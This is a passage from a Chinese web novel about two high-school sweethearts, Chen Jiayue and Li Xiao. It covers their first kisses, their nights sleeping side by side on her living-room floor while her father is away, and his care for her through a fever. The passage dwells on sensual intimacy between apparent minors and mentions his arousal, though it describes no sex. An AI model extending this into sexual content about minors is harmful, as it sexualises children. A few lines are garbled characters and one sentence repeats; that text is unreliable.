拿着她小手放到自己胸膛:“摸摸,还跳着呢。"陈家月摸了下,安定了,但是转而她好想骂他啊,他干嘛呢,突然往水里跳,她真的快吓死了,眼泪止都止不住,拳头胡乱往他身上砸。他也随她,不管她说什么,做什么,怎么打他,他都微微扯着,不声不响随她。只是后来她哭累了,也砸累了,刚想推开他走,李却住了她手腕:“陈家月。"她都不想跟他讲话了,别过脸不理他。他有些无奈,身上冷,其实嘴唇已经冻得泛着苍白,可他还是很好脾气地抱着她,轻声问:“你说的话算数吗。又是这句,陈家月哭得眼睛红红望着他,拍他手臂:“什么啊。” 他笑笑,攥住她指尖。 “刚刚有个男生跟你表白,你说,要是他从江边跳下去,你就答应给他个机会考虑。 望着她小脸上逐渐浮现的错愕。 他弯了弯唇,低低地道: 125、08 于是我的世界被吵醒 她跟李潇谈恋爱了。 李潇就那样成为了她的男朋友,陈家月其实心里觉得很稀奇,她之前没谈过恋爱,对什么都很好奇。他陪她晚上放学一起回家,陪她吃饭,在校外的时候,还是照常给她牵手,她想抱随时能抱。陈家月有点想不通:“好像感觉还是和以前一样啊,谈恋爱特殊在哪里?" 当时他们周六晚上,在外面上小课,他坐最后一排,她成为他女朋友,理所当然和他一起坐,也去了最后一排。最后几排懂得都懂, 老师管老师讲,他们管他们讲和睡,唯一好处就是这是小课, 讲闲话只要不是很吵都没关系她这么问,声音低得只有李潇能听见,谈恋爱之后他不给她坐别的男生旁边了,非要她坐最里面,他要挨着她,陈家月都没发现他这种小v心思。李潇轻声说:“特殊在你现在做这些事就非常名正言顺了。”陈家月瞪大眼睛:“啊?”李潇看她一眼:“不然你觉得随便一个男人就给你抱吗?" 好像也有道理,好吧,她勉强接受了这个答案。 陈家月凑过去看他卷子:“那和你谈恋爱,有没有什么别的优惠项目?"他笑了:“你要什么优惠项目。”陈家月笔尖点了点:“你免费帮我补习,期末考试我还要当第一,我上次期中考试被陆承风比下去了,你都不知道他那个样子!气死我了,不准他考第一了。"李潇低低笑了两声:“你真是。”他还以为什么呢,果然好学生是不一样,谈恋爱了脑袋里面还是只有学习。 可他哪里能拒绝,她太可爱,李潇心想只有学习就只有学习吧算了,以后的事,还有很长的时间可以做。 他就帮她补课,在学校也一起吃饭,每个年级传这种八卦都特别迅猛,更何况陈家月挺有名的,他也是,本来两个人多说两句话,就会被用好奇刺探的眼神围观。 现在他们天天都见面,好多时候都两个人单独说话,没多久,他俩谈恋爱的事就传开。 何小恬经过上次经验教训,现在已经不会随便相信了:“月月,我今天去一楼上厕所,十七班女生说你连别的班的男生都不放过,说你跟李潇谈恋爱,假的吧。肯定又是他们瞎说的。 不过这次。陈家月侧过头,很爽快说:“她们没乱说,我就是在和他谈恋爱。"?"“李潇是我男朋友,我是他女朋友。”何小恬人都麻了:“我靠,可是他不是,他不是那个.”“嗯?"何小恬凑过来,压着声音:“他不是陆承风兄弟吗?“太精彩了,上个学期刚传完月月和陆承风绯闻,这学期月月就和他哥们在一起了,精彩,何小恬简直要鼓掌。陈家月蹙眉:“那又怎么啦。"“你不怕被说闲话啊?" 陈家月稍微思考了会儿,陆承风座位在对角线靠窗,她往后望了一眼,低头,又仔细想想。最后很笃定道:“管他怎么想呢,我就要和我男朋友谈恋爱。"好牛的发言,何小恬端正坐姿,给她竖大拇哥。 至于陆承风本人,玛德他简直有一种被要了的荒谬感!他本来是跟李潇一起吃饭的!直到有一天李跟他说:“你自己吃吧。陆承风还以为他有事,就说行啊。但是他一连好几天都不跟他吃。陆承风忍不了了,去食堂找人,结果就看见他坐在食堂一楼小角落,给对面女生碗里的麻辣烫挑香菜陆承风: 而且对面女生还是陈家月! 陆承风要死了,顶着问号就两三步迈过去坐他旁边:“兄弟。李潇没多惊讶,轻嗯:“有事?" 李潇: “我靠我真服了啊。”陆承风要发疯,手指着陈家月,“你泡我们班团委啊?老师有没有跟你说过不要早恋啊?".”李潇推开他,“说了,没听。还有,我要跟我女朋友吃饭了,你要是没事也自己去吃饭吧。陆承风:"?" 他请问呢? 想来想去这件事都荒谬至极,陆承风回去还在想。直到上体育课的时候,终于给他想明白了:“你他妈每天来找我,不会都是为了看陈家月吧?" 李潇抬头,看他一眼:“你以为呢?" 陆承风:“? "不然我一个男人,老去找你一个男人,你不觉得很吓人吗?"他起身,把喝剩一半水的瓶子拎手里,从地上捡起外套:“走了,我去找我女朋友抽背课文了,她管我比较严不好意思。 十二月圣诞节下了一场大雪,临近期末放寒假,又是过节,学校里气氛特别躁动,连何小恬都说最近偷偷谈恋爱的多了。何小恬:“你知道吗,十二班那对被校长抓住了,就在后山小树林。他们班主任要喊家长呢。"陈家月在写试卷,后座有个女生说:“我靠,真的假的? “真的啊啊。”“为什么啊,这也没什么吧,就说是同学一起散步不就行了?"“不是啦。”何小恬面红耳赤,“我听十二班的说,是因为他俩被抓到的时候正在,那个什么。“啊?“后面的没听懂,何小恬只好羞红着脸,给她解释一遍:“就是亲嘴啊,而且那个男生手还,额,伸到衣服里面去了。"“我靠我靠我靠!"后座和她同桌简直想尖叫,这也太那个什么了吧!学生时代就是这样,稚嫩又青涩,一点沾染情爱的话题,都会让人脸红心跳,当做禁忌谈论。陈家月本来边写卷子,边伸个耳朵听,还挺有意思的。可是何小恬忽然转头问她:“诶,月月,你跟你男朋友那个过吗?" 陈家月笔尖一顿,反应了两秒,小脸立刻红了:“你说什么呢。"何小恬反正那么丢脸的都说了,现在无所畏惧:“怎么啦,就问问嘛,你跟他亲过嘴不?跟大帅哥亲嘴什么感觉哇?"“对啊对啊,好不好亲嘛?" 陈家月简直想捂住她的嘴啊啊啊啊!怎么会问这么羞耻的话题啊! 然而当天晚上,她磨磨蹭蹭收拾好书包下楼,看到楼下照例等她的李的时候。 陈家月莫名其妙就想起何小恬的话来,脚步顿住,脸红了。 只是晚上九点多了,她脸红也看不出来,李就没在意,见她下楼,弯了弯唇走来牵她手。 她喜欢牵他,秋冬天她手总是冰凉的,陈家月每次都说他比她暖和很多。 然而这次,他牵她,她好像傻乎乎没有反应。 那段时间陈如晦还是没有回来,她都是一个人住,也没人照顾,上下学都是一个人,陈如晦给她留了笔钱让她白己弄。 陈陈家月本来是想坐校车,后来李送她回家,都会打车,怕她冷。 往常他把她送到家门口就走了,有时候会多说会儿话,因为她不想他走,自己一个人住害怕。 这姑娘根本不知道,大晚上抱着一个男人不让他走,她自己家里又没人,是有多危险,她完全没概念。反正她对面是李潇,她没说要怎么样,他就不会提出别的要求。 本来那天也是准备这样,让她抱一抱就走了。 结果在楼道口,他摸摸她的头发,轻轻拍了拍她的肩,想让她松开:“好了,晚上早点睡,我回家了。她个如们为么个百松,住他他不里吃吃网口,也个知自住吃十么"月家已流家心 李潇有些无奈:“该进去睡觉了宝宝。 她脑袋抵着他锁骨,闷闷耍赖:“不嘛。”他觉得好笑,掌心慢慢摩挲她后脑:“那你还想做什么。"要他哄着睡吗。 怀里女生身体有股很淡的香,平时闻不到,要像这样抱在怀里,才能到她的芬芳。然而出乎他意料,小姑娘仰起脑袋,下巴还是挨着他胸膛,眼睛却犹豫而好奇望着他,说:“我问你哦。“嗯。”他轻应。她闭紧嘴巴,感觉是在纠结,然而纠结片刻,还是小心翼小声地问:“亲嘴是什么感觉哦?"他一愣。 楼道里静悄悄的,窗户外的光线照不进来,整个楼梯间就无比昏暗,李潇垂眸,安静地看着她羞涩不安的面庞,很久没有说话沉默很久,他说:“我不知道。”声音有点哑。陈家月脸也红了:“你没和别人亲过啊。”他轻嗯,从来没有。 李潇说完就没说别的了,深黑的眼瞳静静盯着她,眼里是她模糊的倒影。好半响,陈家月捏捏自己衣摆边边,有点紧张地小声说:“那,那你要试一下吗。” 他没动,陈家月眼睫慌乱地颤了颤,发现他深深的眼瞳里,都是她看不懂的东西,像是在犹豫,也像是在忍耐。稍顿几息,他问她:“你确定吗。那时候声线已经完全变了,嘶哑得不成样子。她被搞的更加羞了,本来就是心血来潮的奇想,被他这样问。陈家月软着声音,踌躇说:“确,确定吧。”话音刚落,眼前猝然一暗。她觉得下巴被人捏住,紧接着,她看见他微微俯身,唇传来温热的触感。陈家月睁大眼睛。 那种感受,她不知道怎么形容,他的唇很干燥,很软。李高瘦,身上也覆着层薄薄的肌肉,她平时抱他都觉得他哪里都硬邦邦的。 从没有想过,原来即便如此,他的唇也可以这么软。 他停了很久。 没有闭眼睛,就那样很安静地看着她,陈家月也忘记闭眼睛了,睁得大人的,直到他缓慢离开,她还是在望着他。 他说:“现在知道是什么感觉了吗。” 126、09 发现你始终很靠近 陈家月呆呆地望着他,有瞬间觉得自己连怎么呼吸都忘了,他有些好笑,心又很软:“傻了。"唇瓣没离开太远,还是温温柔柔挨着她,只要她凑近,就能感知他的体温,他的喘息。少年身上滚烫,连带着他呼出的气也是热的,在他们中间,氤氲一小块朦胧的雾,她迟钝地眨了眨眼,觉得自己像一条小鱼。 唇上传来指腹按压的轻微触感,陈家月眼睛里蒙了一层水,不自觉抬手,住他手腕。 两个人沉默片刻,李说:“难受吗。 她还是傻,过好几秒,才愣愣摇了个头。 他笑了。 陈家月本想说句什么,然而她张开唇,脸颊被捧起,他的唇瓣又再次覆盖下来。 她眼瞳急剧地颤。 这次的吻不像刚才那样浅尝辄止,她嘴唇微张着,留下一条微弱的缝隙,被他轻而易举舔开,濡湿的水渍晕在唇边。 腰被紧紧握住,他掌心扶着她后脑,将她柔软的身体压向自己。 很,激烈。 没法形容,总之就是激烈,陈家月还以为他多温柔,明明刚亲的时候很轻啊,可后面她嘴皮都快被他咬破了。 喘息声越来越明显,越来越明显,她都已经尝到流血的味道,手足无措去推他,喉咙里溢出“呜鸣”的声响。 好半晌,他才呼吸不稳离开她唇瓣,把她搂到怀里,下巴抵在她肩窝,静静平复呼吸。 “回家吧。”他拍拍她的背,声音嘶哑,“回去睡觉。”陈家月看他样子感觉不太好:“那你呢。他阖了阖眼,睁开说:“我也回去了。" 可是她不想让他走,陈家月下意识抿唇,不知道是不是刚刚才和他亲过的原因,她现在对他,有一种天然的依赖感,比之前多好几倍听他说要走,她心里陡然不安起来。 “不要。”她圈住他腰,很小声地继续耍赖,“不许走,留下来陪我。 他想掰开她手,她就哼一声,鸵鸟似的埋他衣领里,不出来了:“就不许走,你敢走。 掰她的动作就此停止。 他是不敢,怕她生气,不理他怎么办,李齿根紧咬,僵持了良久,还是轻叹口气:“嗯。 陈家月又默默抱了他会,最后从口袋里摸出钥匙开门,转过身发现他还站在梯口。 她说:“你能不能。 她卡壳,顿了顿还是把话说完:“陪我,睡觉。 他表情一瞬间有了变化。 陈家月把门敞着,又哒哒哒跑过去,继续抱他:“求你了,我们家没有人在,我一个人睡觉好害怕。 这是真的,李潇也知道,这姑娘胆子比较小,家里没大人,她每晚裹着被子睡觉,都要把身体蜷起来。入冬黑得早,周六周日的时候,她不敢回家,总要在外面拖到很晚. 然而不管如何,起码她之前,从没有让他去家里陪过她。 毕竟谈恋爱还是不一样的,那时候他们还有没更亲密的接触,她怎么也不会把他带回自己家。 可现在不一样了。 和他亲过,她晚上更不想自己一个人睡了。 陈家月眼睛湿漉漉的,跟他哀求一样:“我害怕,你陪我睡觉好不好。 那天是周五,下大雪周六的课取消了。 他抿唇,很想说不行,他们才什么关系,亲她抱她都可以,让他陪着睡觉算什么,她很懂他又不是。 她不知道这种事不好,可他是清楚的。 “家月。”他难得正了神色,掌心捏住她柔软的腰线,别过眼,想把她抱开。 陈家月委屈得简直要掉眼泪,看他偏过头,脑子一热,气鼓鼓地啪叽一口印在他唇角。 “我不管,我不要一个人睡觉,你要是不陪我睡,我们两个就一直站在这里,站一晚上。 她倔强地憋住泪:“你就等着看我感冒吧。 李潇咬紧牙。他搂着她腰把她推进去,脸色很不好:“睡觉。她要哭了:“你”李潇说:“我不走,我陪你。" 陈家月一愣,不想哭了。 她有点开心地拽住他袖子,把他牵回家:“那我给你找双拖鞋。”李潇胡乱应了声,匆忙别过眼。 他真是脑筋出问题了,才会想着要留宿在小姑娘家,况且她父母都不在,他怎么能留下来。 李潇身体僵硬,对比她的兴奋,他显得沉默很多。临时来没有带换洗衣服,看陈家月的架势,肯定是要把他留整个周末,他了解她。李潇把书包放在门边:“你等等。”他滚了滚喉结,“我去楼下买点东西。" 陈家月一下子就紧张起来:“你要走吗?"他扯了扯唇角:“不走,一会我就上来。”她看他包还在家里,稍微放下心:“那我等你哦。他轻嗯。 等他回来,她已经把澡洗完了,正坐在沙发前地毯上摆弄遥控器。开门看见是他,她高高兴兴扑过去抱他。李潇把门关好落锁,把她扶稳:“不睡觉吗。”不是说他陪她,她就会乖乖睡觉吗。陈家月说:“不想睡嘛,我们看电影怎么样,我要看老版的《侏罗纪公园》。”他笑:“恐怖片啊。"陈家月轻哼:“迅猛龙很可爱嘛。" 他弯唇,摇了摇头,把手里提着的袋子放下来:“我怕你饿,还买了点吃的。”其余的是他临时随便买的换洗衣服.陈家月小鸡啄米似的点头,把他带去浴室,教他家里花酒怎么调节:“那我在客厅等你哦。"他笑了笑,把门掩上。 那是陈家月第一次,单独和一个男生在家里过夜,她其实不应该,毕竟那确实有些太越界了,就像李说的,她还天真,不知道这样做是对自己不好的她的防备心太轻了,他着急地开始想以后的事情,他担心以后她不喜欢他了分开,她会被别人骗,他不舍得。可是那时候他确实还年少,他没有未来很多年后的沉稳,也对她远没有那么狠心。 她撒个娇,他什么都答应了。陈家月把客厅空调暖风打开,从自己房间抱出两床毯子出来,她甚至还准备了饮料,还有小零食,看起来是真的煞有介事想邀请他看电影。她有些羞涩说:“以前我爸爸,管我太严了,我还没有和朋友出去看过电影。"顿了顿,她说,“"你还是第一个呢,谢谢你陪我看电影,不然我就要一个人看了。" 他忽地心里面疼起来 李潇沉默了会,哑着嗓了朝她说:“过来。"她愣了愣,看他展开胳膊,于是喜滋滋往他怀里一钻,把他原本的毯子扯掉,盖自己的。那毯子本来想踢到一边的,但是后面想想,怕冷,于是又捡回来,盖了两层。 他默默看她折腾,觉得很好笑,从背后圈住她腰,低眸,轻轻往她唇边印了一下。 陈家月揪毯子的手顿住了,往后面看看他,忽然直起身体,磨磨蹭蹭搂住他脖颈,试探着亲了亲他。 他没动了,像是纵容她自己摸索,李单手扶住她腰,防止她往旁边歪。 后面受不了了,她亲也是不知道怎么亲,就舔舔,把他嘴唇弄得濡湿,就不管了,稍稍分开一段距离,歪着脑袋很疑惑看他。他干脆把她抱到自己腿上,让她跨着他腰坐好,重新教她怎么亲。那晚上《侏罗纪公园》讲了什么,李也记不得,他连出来的究竟是哪头龙都记不得。他只记得女孩子唇很软,浑身都弥漫着带着水汽的香,他一直都有反应,只是很注意没碰到她,她不知道而已,他是真的很喜欢亲她, 他抵着她嘴唇,很含糊说:“平安夜快乐。 陈家月耳根红了红:“你也快乐。" 那是她过得最好的圣诞节,她什么也不用想,哪里也不想去,只要靠在他身边就好。看电影是关着灯的,整个家里都昏暗安静,只有开得很小的电视声,还有屏幕微弱的光铺在地板上。她闹觉,亲了没一会儿就困了,说要睡觉,李停下来,吻了吻她额头:“那你回房间睡。"他准备说他睡客厅的。 陈家月不乐意:“不要不要,房间好黑啊,我要和你睡客厅。"他说:“那我明天走了怎么办,你不睡了喔?" 她嘴巴被亲得有些肿了,本来亲得挺高兴的,听他这么说,顿时有点的:“那你不走。 “我不回去了?"他都听笑了,伸手捏了捏她脸颊,“就跟你住这了?"陈家月自己听着都觉得羞耻,可她还是小声承认:“可是我真的这么想的嘛。他没办法。她又往前挪了挪,要抱着他脖子撒娇,说了两句他妥协了,不敢再让她往前蹭。“好了。”他拍拍她,“我陪你睡,不闹了。" 她到底心思单纯,很好哄,听他说陪着睡觉,就放心地从他身上下来,抱着子准备睡觉了。 李潇躺下来的时候,听到她凑过来,小声说:“我和你说。他淡淡嗯。她有些不好意思地低着声音道:“这还是我第一次和男生一起睡觉呢。"她没往更深层的含义想,在她看来,睡觉就是很纯粹地睡一块,所以尽管害羞,可还没到难以启齿的地步。陈家月仰着小脸:“我觉得我好喜欢你。他一愣。旋即笑了:“嗯。” “真的好喜欢。”她嘟囔了会,感觉是真困了,小手圈住他腰,往他怀里靠了靠,“你不许跑哦。 她说的是不许晚上趁她睡觉,偷偷溜掉。 他却很自然理解成另一种意思,李低声说:“不跑。 她说则是个什映上移她哄见,侧侧捏。 他却很自然理解成另一种意思,李低声说:“不跑。 他抱着她,隔着一床毯子,夜的微光清幽悬在窗户上,他看着客厅落地的窗帘,紧唇。 沉默很久,忽然问她:“那会喜欢多久。 会有一辈子吗。 可惜她窝在他怀里已经睡着,沉入宁静的梦乡,他听不到答案了。 127、10 默默的陪在我身边 寒假的时候李潇回了趟老家。 这次是真要回去,毕竟是寒假,还要过年,其他时候他能纵着她,这次不太行了。 他寒假的补课也没去,陈家月一个人去的,平时不觉得,可是他真的要走了,她总觉得身边空落落的,很不习惯. 他不在,她自己也不敢一个人坐最后一排,从前和他坐过的位置,就是上课到一半,往后传卷子的时候,偶尔会望着那个位置出神。 冬天雪下过几场, 窗沿积雪被风吹进来,打湿座位, 没有人坐那里了。 陈家月心里像是缺了一块,晚上见到他,和他说这件事。 李潇回老家之前还有段时间,他虽然不上课,但每天都会来接她回家。 听她讲她的苦恼,不习惯,他心里酸软又温柔。李说:“现在还是能见到啊,就是过年那段时间见不到了。 “不一样。”她固执地说,“我不要一个人上课。" 她说,她好像已经习惯和他一起上课了,自己去就会好孤单,心里也会害怕。 陈家月说:“诶,好难受,为什么我和陆承风一个班呢,你们可以互相换个班吗?" 她踮脚眼巴巴靠着他:“不想跟他一个班嘛。 不然在学校,也每天都有很多时间说话了,诶她真的只想跟他待在一起怎么办。 李潇也很无奈,和她一个班是不可能了,他只能接送她回家罢了。 冬季流感来得特别快,也很猛,陈家月平时不注意保暖,没多久就感冒了。 她那天晚上还要上物理课,结果自由写题的时候,病情克制不住,她难受地趴在桌子上,呛出声,一个劲地咳嗽, 肩膀颤抖得很厉害。 补习班老师是对她有印象的,知道这是一中的年级第一,见她咳得眼泪都出来了,踱步过去,好言提醒她:“都生病了,回家休息吧,反正照你的成绩,两三天不上课也没什么咯。 陈家月说不出话,咳得感觉肺都要跳出来了,喘息声还是平复不匀称。她最后其实都没听清物理老师在说什么,只是她也觉得自己应该回去休息。 陈家月和物理老师说了一声,咳着嗽收拾完自己书包,准备提前回去了。 然而走到门口,她想起来,好像还没给李说。 他每晚来接她放学,暴雪天气都雷打不动,她要是提前回去了,他接不到她一定着急 陈家月裹好连帽围巾,从口袋里摸出手机 刚想给他打电话,想了想,又停住了。 她上了公交车,往相反的方向去。李潇家住得靠近一中,离她上课的地方倒是不近,陈家月安静地紧手机,难得有些紧张。 到了地方,她走进小区,有些茫然地四处张望:“二十四栋,二十四栋. 有个到楼下扔垃圾的阿姨看见她,大概以为她是小偷,上前来问:“小姑娘,你大晚上一个人在这边看什么呢?" 陈家月脸倏地红了,她无措揪紧了书包带子,小脸也因为生病烧成了红色。然而面对阿姨,她声音一下子磕巴,变得支支吾吾地:“我,我找人。" “找人,找谁?" “我同学。” 阿姨狐疑看她一眼:“你同学住哪一栋?" 陈家月说二十四,阿姨没给她指,倒是很警惕地牵着小狗绕开她走了。 陈家月耳根滚烫,有瞬间觉得自己抬不起头,可是她真的不是小偷,她是真的来找同学的。 还是她男朋友。 其实她本来可以问一声李潇究竟住几零几,然而陈家月打定主意要吓他一跳,还是准备自己找。 她运气还挺好的,因为李溁房间窗口正对人行道。他住二楼,房间亮着灯,一盏昏黄,能看见不大的房间摆了一张床,一个木质衣柜,一张书桌,其余的就没了。 书桌靠窗,他伏在案边在写卷子。 陈家月眼睛一下子亮了,偷摸摸走过去,想敲他窗子,又敲不到,她扁扁嘴。 季节深冷,小区很多树枝都脱落了,掉在人行道和草从里,陈家月四外看了看,从草地里捡出根枯枝,往他房间窗户上敲了敲。 只不过她不高,枯枝很脆,还没有敲到玻璃,就断裂了。陈家月捉着唇,不死心,重新捡起来,再试了一次,这次树枝边缘够到了边边,她干脆把树枝往窗户砸去。 天幕很暗,里面亮着灯,很难看见外面,然而李潇的笔尖陡然顿了一下,陈家月屏住呼吸,歪着脑袋观察他,两秒后窗户就开了。 李潇站在窗口,冰冷的风一瞬间灌入他衣领,他在家只穿着件单薄的家居服,唇色很淡,紧抿着向外张望。 直到视线下移,他看见了她。 他微齔幹汗嘚掲。 条,心信,卡 他立刻关了窗从椅背上拎起外套披上,屋子里模糊传来声音,陈家月不知道他和家里人说了什么,没多久,他踏着林荫道的夜色,出现在面前。 黑色外套甚至还没有裹紧,李潇伸手,把她拉进怀里,声音里暗哑又意外:“怎么过来了?下课了?" 她摇摇脑袋,伸开胳膊:“抱!" 李潇将她抱紧,用外套裹起来。等真的到身边,他才察觉怀里女生的身体烫得吓人,李瞬间眉,问她:“怎么身体那么烫?生病了吗。 说着手背探上她额头。 这样感知不出来,他撤下手,垂眸用额头抵着她的额头,靠在一起试了试。 温度还是滚烫,就像是抱了块火炉,他睁开眼,黑眸很冷沉:“陈家月。 他只有生气才会叫她陈家月。 陈家月扁扁嘴,脸往他怀里一埋:“干嘛。 又被他捞出来捧着脸颊:“怎么发烧了。 声音又沉又怒,陈家月都要吓死了,好凶啊这个男朋友。她睁着水汪汪的大眼睛,老实回答:“我睡觉踢被子了。 李潇简直没话跟她说:“昨天踢的?" 她用了点了个头:“嗯。 她还敢嗯,她是觉得好玩是? 是不是觉得不严重? 李潇冷着脸: “我送你回去。 陈家月本来还想耍赖:“不要,我要和你说话。”看他脸色实在难看,她这句话说完就垂下脑袋。 外面刚下过雪,特别冷,他不敢再让她坐公交,叫了辆车送她回去,陈家月好不高兴啊,她本来还以为他会很惊喜呢。 她还以为会有亲亲呢。 结果什么都没有。 还差点被他骂,她快乐不起来了! 他照例把她送到楼道,在家门口的时候叮嘱她:“回去之后记得吃药知道吗?发烧了明天就别去上课了,在家里休息两天,自己平时做东西吃吗?" 她摇摇头:“我吃外卖。" 他心里叹气,他就知道她肯定是吃外卖,李眸光深深看她。本想说他给她做饭,然而想着这样去她家究竟是不太好,他抿了唇,欲言又止。 陈家月却看出来了,很理所当然说:“你给我做饭嘛。" 他不吭声。 得不到他回答,她不开心了,陈家月抱着他腰仰起脑袋:"我家都没人,我一个人什么也不会,我好笨。"她故意可怜兮兮地,小声求他, “你不给我做饭,我会饿死的,饿死了你就没女朋友了。 李潇咬牙把她推进去:“进去,我给你做。 她高兴得跟个小尾巴似的黏着他,看他跑前跑后,她也跑前跑后。 “药在哪里?" “电视柜下面。”她指给他看。 李潇蹲下,从药品盒子里翻出感冒药,胶囊和冲剂都拿出来,准备兑点热水给她喝掉。然而走到厨房,发现热水瓶很轻。 “你在家没烧水?" 陈家月背着手,有点不敢看他眼睛,不过他威压太明显,她沉默半天,还是嘟着嘴小声辩解说:“我都是喝,额,饮水机里的水的。 “饮杯水?”李扫了一圈,终于在餐边柜那里看到个小型饮水机,温度还停留在上次使用温度,常温。 他真是要气笑了:“那饮水机里的水是?" 陈家月声如蚊呐:“矿泉水啊,我早上才倒进去的。 那她干嘛不直接喝常温的矿泉水,这样还来得快些. 李潇咬唇,忍了又忍,最后转身,一个字没说她。 陈家月察觉他生气了,她也知道自己错了,因此眼巴巴地跟在后面,多的话都不敢讲。 李潇重新给她烧了壶热水,等水的间隙,简单炒了两道菜,淘米煮粥。 “把粥喝了。 陈家月不敢顶嘴,哦一声,乖乖把粥喝了,李低眸看她慢吞吞喝,沉默片刻:“我下楼买点东西。 陈家月有点茫然地抬头:“好啊。 他很快回来,把手里提着的塑料袋放到桌上,里面有橄榄菜,他拿出来推到她面前:“吃吧。" 她生病,喝粥会没味道,橄榄菜她是喜欢吃的。 陈家月把粥喝完了,他收拾桌子,再把碗洗掉,陈家月看他在厨房默默做事的背影,莫名觉得有点愧疚,小心挨过去黏着他:“我要做什么吗?" “把药喝了,水要冷了。” 药喝完,李潇把她杯子也洗掉,重新倒了热水放在餐桌上:“晚上多喝点水。 陈家月小声说:“哦。 他对着她沉默了会儿,低头看了眼手机时间:“我回家了。 陈家月不喝水了,丢掉水杯就拽住他袖子:“不要,我一个人睡觉害怕。 李潇薄唇抿成一条直线,没扒掉她摸衣服的手指,就是冷眼旁观,不讲话, 陈家月有点委屈,扯了扯:“干嘛那么凶,好吓人哦。 他都笑了,怪他凶?她感冒是怎么来的,是因为他很凶吗? 可他也没走,冷冷淡淡望着她。 陈家月就懂了,挨过去很像一只小狗和他摇尾巴,软着声恳求:“我睡觉会踢被子,你不陪我睡觉的话,我晚上又把被子踢掉,药就白吃了。 看他好像还是无动于衷,她狠狠心:“那个药那么苦,不想再吃了嘛。" 这就是完全在撒娇示弱了,李终究没那么绝情,揽住她肩膀:“洗澡去。“ 陈家月眼睛一亮,知道他是答应了,快快乐乐去阳台拿衣服毛中进浴室。 李满之前在她家里待过,时间不长,就是周末偶尔会过来,但是陈家月太粘人了,她不知道什么时候就需要黏住他,不然照她的说法:“鱼是不能离开水的,我会嘎的,你也不想看我嘎吧。 李潇:“ 他确实做不到看她这样,他连眼睁睁看她哭都做不到。 陈家月有些时候特别聪明,她知道她把他拿捏得死死的。 他待过,就有之前换的衣服收在她柜子里。 她洗完澡,虽然说话还是嘟嘟,鼻音很重,然而眼见着心情都变好了很多。 李潇没说什么,也去浴室洗澡,出来的时候看见她靠在墙边,看到他出来。 陈家月忽然很兴奋说:“你说我们大学的时候,要住校吗?要不到学校周围租个房子住吧? 她想得很简单,要是学校没有硬性规定,她就和他租个小房子住好了,这样子就能过二人世界了,最主要是,还没有别人打扰 陈家月其实喜欢安静,不想被很多人打扰,对她来说,住宿的环境太勉强了,四个人一间宿舍就已经很多。 然而有些学校新大一会被分到老校区,很可能六个人,或者八个人一间宿舍。 等到大四或者研究生,才能住进新宿舍。 陈家月一点也不想,她觉得好难受。 而且。 她很自然张开胳膊,抱住眼前男生的腰:“我要跟你睡,我要跟你睡!不然我睡不着。 她又来了:“你也不想看我睡不着吧!" 李潇都不想讲她,但是,看她撒娇撒得很卖力的样子,想想还是算了。 “去铺一下毯子,睡觉了。” 他把她推到客厅: 陈家月哦一声,转过身去地毯上铺被褥了,李潇低眸发消息,给她热了牛奶。 陈家月看到说:“你在给你妈妈发消息?" 他轻嗯。 陈家月之前问过他这个问题,她年纪到底还小,想黏着谁就黏着谁,也不在乎他究竟是不是方便。然而他晚上不回家,肯定是要和家里说的。 第一次留夜的时候,她没意识到这个问题。 是直到第二天早上醒过来,迷迷糊糊抱着他,觉得抱着别人睡觉的感觉,和平时自己睡不一样。 她才想起来问说:“你晚上不回去,你妈妈会着急吗?" 他手臂横在额头上遮住了眼睛。 过半晌,李潇才终于低低说:“我昨晚发消息和她说过了。" “她同意了?不说你吗?" 陈家月忍不住睁大眼睛,要是她跟陈如晦这么先斩后奏,陈如晦肯定会骂她的。 只是李潇扯了扯唇角,温声说:“我妈妈人比较温和,不会说我的。 陈家月于是闭上眼睛,继续安心地当树袋熊:“那你今天也别走了吧?然而后天跟我一起去上学呀。 李潇:“ 良久后,他低低笑起来:“你真是。 他真的怀疑,她谈这么段时间恋爱,估计还不知道什么叫男女朋友呢,她以为睡觉就随便睡吗,她自己倒是睡得蛮香甜的。 晚上一直不老实,他想往旁边去,她就黏黏糊糊挨过来,天气冷了,她觉得是找到个趁于的暖水袋一样,毫无知觉往他跟前凑。 而且陈家月睡相一点也不好,半夜总是蹬被子,还喜欢把小腿跷到他腿上,他半夜睡不着,被她热醒,男人身体总归比她敏感很多。 李潇悄悄把她搭上来的小腿挪下去,她嫌没东西搁了,不舒服,又做着梦给他跷上来。他再放,她不依不挠。 反复几次之后,陈家月烦了。 她会哼哼两声,迷离迷瞪睁开眼睛,看他片刻,往他唇上亲一口,软软地说:“我要睡觉,不许影响我睡觉嗷。 他就不弄了。 反正她这个不许,那个不许。 他觉得当她男朋友也蛮遭罪的,半点不说假话。 什么都碰不到,还要被她告状。 但是她又是如此的,可爱,李溁权衡两下,行吧,妥协了,被她网兜一样缠着睡觉也不能说不舒服,统归她身上软绵绵的,还很香,她把他当暖水袋,他也把她当小抱枕好了。 扯平了。 很不错。 所以那晚李潇在她家里客厅睡下,已经是熟门熟路。 陈家月欢欢喜喜把空调一开,想起来还是得把今日计划写完,于是掀开毯子,从笔袋里拿出笔开始用功。 他差不多要写的都已经写完了,就在旁边陪她。 写了一会,陈家月忽然放下笔,突发奇想转头说:“其实我有个问题。 “嗯。 “我们为什么不能睡床呢?”她很真情实感发问,“你喜欢睡地毯吗?可是我觉得我卧室的小床也很软,很适合睡觉啊,为什么我们要睡地毯。 李潇被问得哑口无言,一时之间,都不知道该怎么回答她。 要他怎么说。 说他其实也可以睡床,并不是喜欢睡地毯,他其实睡哪里都无所谓吗? 他只是觉得,拗不过她和她偶尔住在一起几天,已经是很突破他价值观念。更何况她死活不同意分开睡,连她睡沙发,他打地铺,她都不同意. 问就是不爱她,她就要抱一起睡 他能到这一步已经是很不容易了,他还没有真那么禽兽到和一个小女孩滚到床上去睡觉。 尽管他们是真的睡觉,盖着棉被纯聊天。 陈家月平时看不出来,灯一关,她拉上被子,能和他把学校里不喜欢的人全都说一遍,还要撒撒娇生生气 她就单纯到这种地步,他完全没办法。 只能配合。 对他来说,睡地毯是底线了,起码他能骗骗自己,只是和小姑娘委屈将就在地毯上睡了一晚上,什么事都没发生,不违反他心里道德防线. 要是真的和她睡床。 哪怕她还是拉上被子,和他像往常一样在被窝里蛐蛐人 他还是会觉得荒谬至极。 他过不去心里那道坎。 李潇看她一眼,什么表情都没表露出来,只说:“睡地毯还挺有意思的。" 她注意力果然被转移了,也很兴奋地小声说:“是吧是吧,我之前也奇怪为什么不睡床,但是后面发现睡地毯好有安全感啊。 床太高了,还离地。 这姑娘没什么安全感,睡地毯比睡床踏实。 